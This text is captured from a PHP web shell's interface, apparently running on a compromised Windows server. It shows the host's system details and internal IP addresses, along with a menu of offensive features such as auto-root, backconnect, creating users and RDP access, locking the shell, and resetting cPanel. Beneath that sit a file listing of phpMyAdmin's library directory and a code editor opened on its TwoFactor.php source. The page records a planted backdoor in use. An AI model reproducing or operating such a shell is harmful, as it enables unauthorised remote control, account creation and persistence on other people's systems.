Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbi
[ DIR ]
drwxrwxrwx
Di
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Rte
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
Advisor.php
19.56
KB
-rw-rw-rw-
Bookmark.php
10.74
KB
-rw-rw-rw-
BrowseForeigners.php
11.15
KB
-rw-rw-rw-
CentralColumns.php
44.19
KB
-rw-rw-rw-
Charsets.php
6.14
KB
-rw-rw-rw-
CheckUserPrivileges.php
12.59
KB
-rw-rw-rw-
Config.php
57.38
KB
-rw-rw-rw-
Console.php
3.69
KB
-rw-rw-rw-
Core.php
38.31
KB
-rw-rw-rw-
CreateAddField.php
17.91
KB
-rw-rw-rw-
DatabaseInterface.php
104.47
KB
-rw-rw-rw-
Encoding.php
8.68
KB
-rw-rw-rw-
Error.php
13.34
KB
-rw-rw-rw-
ErrorHandler.php
17.17
KB
-rw-rw-rw-
ErrorReport.php
8.92
KB
-rw-rw-rw-
Export.php
42.76
KB
-rw-rw-rw-
File.php
21.29
KB
-rw-rw-rw-
FileListing.php
2.83
KB
-rw-rw-rw-
Font.php
5.54
KB
-rw-rw-rw-
Footer.php
10.6
KB
-rw-rw-rw-
Header.php
21.87
KB
-rw-rw-rw-
Import.php
56.56
KB
-rw-rw-rw-
Index.php
24.5
KB
-rw-rw-rw-
IndexColumn.php
4.44
KB
-rw-rw-rw-
InsertEdit.php
129.31
KB
-rw-rw-rw-
InternalRelations.php
17.42
KB
-rw-rw-rw-
IpAllowDeny.php
9.57
KB
-rw-rw-rw-
Language.php
4.31
KB
-rw-rw-rw-
LanguageManager.php
23.71
KB
-rw-rw-rw-
Linter.php
5.21
KB
-rw-rw-rw-
ListAbstract.php
2.51
KB
-rw-rw-rw-
ListDatabase.php
4.34
KB
-rw-rw-rw-
Logging.php
2.6
KB
-rw-rw-rw-
Menu.php
22.36
KB
-rw-rw-rw-
Message.php
19.32
KB
-rw-rw-rw-
Mime.php
916
B
-rw-rw-rw-
MultSubmits.php
23.64
KB
-rw-rw-rw-
Normalization.php
40.41
KB
-rw-rw-rw-
OpenDocument.php
8.52
KB
-rw-rw-rw-
Operations.php
81.25
KB
-rw-rw-rw-
OutputBuffering.php
3.71
KB
-rw-rw-rw-
ParseAnalyze.php
2.55
KB
-rw-rw-rw-
Partition.php
7.27
KB
-rw-rw-rw-
Pdf.php
4.37
KB
-rw-rw-rw-
Plugins.php
22.95
KB
-rw-rw-rw-
RecentFavoriteTable.php
12.04
KB
-rw-rw-rw-
Relation.php
79.64
KB
-rw-rw-rw-
RelationCleanup.php
15
KB
-rw-rw-rw-
Replication.php
5.75
KB
-rw-rw-rw-
ReplicationGui.php
21.23
KB
-rw-rw-rw-
Response.php
16.14
KB
-rw-rw-rw-
Sanitize.php
14.51
KB
-rw-rw-rw-
SavedSearches.php
11.94
KB
-rw-rw-rw-
Scripts.php
3.65
KB
-rw-rw-rw-
Session.php
7.62
KB
-rw-rw-rw-
Sql.php
82.09
KB
-rw-rw-rw-
SqlQueryForm.php
17.63
KB
-rw-rw-rw-
StorageEngine.php
13.75
KB
-rw-rw-rw-
SubPartition.php
3.55
KB
-rw-rw-rw-
SysInfo.php
1.61
KB
-rw-rw-rw-
SysInfoBase.php
822
B
-rw-rw-rw-
SysInfoLinux.php
2.16
KB
-rw-rw-rw-
SysInfoSunOS.php
1.89
KB
-rw-rw-rw-
SysInfoWINNT.php
3.27
KB
-rw-rw-rw-
SystemDatabase.php
3.97
KB
-rw-rw-rw-
Table.php
94.87
KB
-rw-rw-rw-
TablePartitionDefinition.php
6.64
KB
-rw-rw-rw-
Template.php
4.02
KB
-rw-rw-rw-
Theme.php
8.62
KB
-rw-rw-rw-
ThemeManager.php
10.42
KB
-rw-rw-rw-
Tracker.php
30.13
KB
-rw-rw-rw-
Tracking.php
40.26
KB
-rw-rw-rw-
Transformations.php
16.27
KB
-rw-rw-rw-
TwoFactor.php
7.14
KB
-rw-rw-rw-
Types.php
24.93
KB
-rw-rw-rw-
Url.php
8.32
KB
-rw-rw-rw-
UserPassword.php
9
KB
-rw-rw-rw-
UserPreferences.php
8.62
KB
-rw-rw-rw-
UserPreferencesHeader.php
4.13
KB
-rw-rw-rw-
Util.php
168.02
KB
-rw-rw-rw-
VersionInformation.php
6.92
KB
-rw-rw-rw-
ZipExtension.php
10.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TwoFactor.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Two authentication factor handling * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Message; use PhpMyAdmin\Plugins\TwoFactor\Application; use PhpMyAdmin\Plugins\TwoFactor\Invalid; use PhpMyAdmin\Plugins\TwoFactor\Key; use PhpMyAdmin\Plugins\TwoFactorPlugin; use PhpMyAdmin\UserPreferences; use PragmaRX\Google2FAQRCode\Google2FA; use Samyoul\U2F\U2FServer\U2FServer; /** * Two factor authentication wrapper class * * @package PhpMyAdmin */ class TwoFactor { /** * @var string */ public $user; /** * @var array */ public $config; /** * @var boolean */ protected $_writable; /** * @var TwoFactorPlugin */ protected $_backend; /** * @var array */ protected $_available; /** * @var UserPreferences */ private $userPreferences; /** * Creates new TwoFactor object * * @param string $user User name */ public function __construct($user) { /** @var DatabaseInterface $dbi */ global $dbi; $dbi->initRelationParamsCache(); $this->userPreferences = new UserPreferences(); $this->user = $user; $this->_available = $this->getAvailable(); $this->config = $this->readConfig(); $this->_writable = ($this->config['type'] == 'db'); $this->_backend = $this->getBackend(); } /** * Reads the configuration * * @return array */ public function readConfig() { $result = []; $config = $this->userPreferences->load(); if (isset($config['config_data']['2fa'])) { $result = $config['config_data']['2fa']; } $result['type'] = $config['type']; if (! isset($result['backend'])) { $result['backend'] = ''; } if (! isset($result['settings'])) { $result['settings'] = []; } return $result; } /** * Get any property of this class * * @param string $property name of the property * * @return mixed|void if property exist, value of the relevant property */ public function __get($property) { switch ($property) { case 'backend': return $this->_backend; case 'available': return $this->_available; case 'writable': return $this->_writable; case 'showSubmit': $backend = $this->_backend; return $backend::$showSubmit; } } /** * Returns list of available backends * * @return array */ public function getAvailable() { $result = []; if ($GLOBALS['cfg']['DBG']['simple2fa']) { $result[] = 'simple'; } if (class_exists(Google2FA::class)) { $result[] = 'application'; } if (class_exists(U2FServer::class)) { $result[] = 'key'; } return $result; } /** * Returns list of missing dependencies * * @return array */ public function getMissingDeps() { $result = []; if (! class_exists(Google2FA::class)) { $result[] = [ 'class' => Application::getName(), 'dep' => 'pragmarx/google2fa-qrcode', ]; } if (! class_exists('BaconQrCode\Renderer\Image\Png')) { $result[] = [ 'class' => Application::getName(), 'dep' => 'bacon/bacon-qr-code', ]; } if (! class_exists(U2FServer::class)) { $result[] = [ 'class' => Key::getName(), 'dep' => 'samyoul/u2f-php-server', ]; } return $result; } /** * Returns class name for given name * * @param string $name Backend name * * @return string */ public function getBackendClass($name) { $result = TwoFactorPlugin::class; if (in_array($name, $this->_available)) { $result = 'PhpMyAdmin\\Plugins\\TwoFactor\\' . ucfirst($name); } elseif (! empty($name)) { $result = Invalid::class; } return $result; } /** * Returns backend for current user * * @return TwoFactorPlugin */ public function getBackend() { $name = $this->getBackendClass($this->config['backend']); return new $name($this); } /** * Checks authentication, returns true on success * * @param boolean $skip_session Skip session cache * * @return boolean */ public function check($skip_session = false) { if ($skip_session) { return $this->_backend->check(); } if (empty($_SESSION['two_factor_check'])) { $_SESSION['two_factor_check'] = $this->_backend->check(); } return $_SESSION['two_factor_check']; } /** * Renders user interface to enter two-factor authentication * * @return string HTML code */ public function render() { return $this->_backend->getError() . $this->_backend->render(); } /** * Renders user interface to configure two-factor authentication * * @return string HTML code */ public function setup() { return $this->_backend->getError() . $this->_backend->setup(); } /** * Saves current configuration. * * @return true|Message */ public function save() { return $this->userPreferences->persistOption('2fa', $this->config, null); } /** * Changes two-factor authentication settings * * The object might stay in partialy changed setup * if configuration fails. * * @param string $name Backend name * * @return boolean */ public function configure($name) { $this->config = [ 'backend' => $name, ]; if ($name === '') { $cls = $this->getBackendClass($name); $this->config['settings'] = []; $this->_backend = new $cls($this); } else { if (! in_array($name, $this->_available)) { return false; } $cls = $this->getBackendClass($name); $this->config['settings'] = []; $this->_backend = new $cls($this); if (! $this->_backend->configure()) { return false; } } $result = $this->save(); if ($result !== true) { $result->display(); } return true; } /** * Returns array with all available backends * * @return array */ public function getAllBackends() { $all = array_merge([''], $this->available); $backends = []; foreach ($all as $name) { $cls = $this->getBackendClass($name); $backends[] = [ 'id' => $cls::$id, 'name' => $cls::getName(), 'description' => $cls::getDescription(), ]; } return $backends; } }
Close